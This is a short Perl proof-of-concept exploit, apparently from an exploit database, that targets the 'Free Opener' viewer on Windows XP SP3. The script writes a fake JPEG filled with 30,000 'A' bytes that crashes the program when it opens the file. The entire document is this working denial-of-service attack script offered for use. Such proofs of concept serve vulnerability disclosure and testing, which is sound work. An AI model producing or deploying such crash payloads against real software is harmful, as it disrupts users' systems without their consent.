#!/usr/bin/perl# Exploit Title:Free Opener Local Denial of Service# Date: 09-12-11# Author: Iolo Morganwg# Download: http://dl.installiq.com/download/downloadpop.aspx?shortname=freeopener&a=13193&f=FO-Main# Tested on: Windows XP SP3#To trigger: Run script open with Free opener, program dies!.
my $file= "crash25000.jpg";
my $junk = "\x41" x 30000;# my $junk2 = "\x42" x 5000;
open($FILE,">$file");
print $FILE$junk.$junk2;
close($FILE);
print "File Created successfully\n";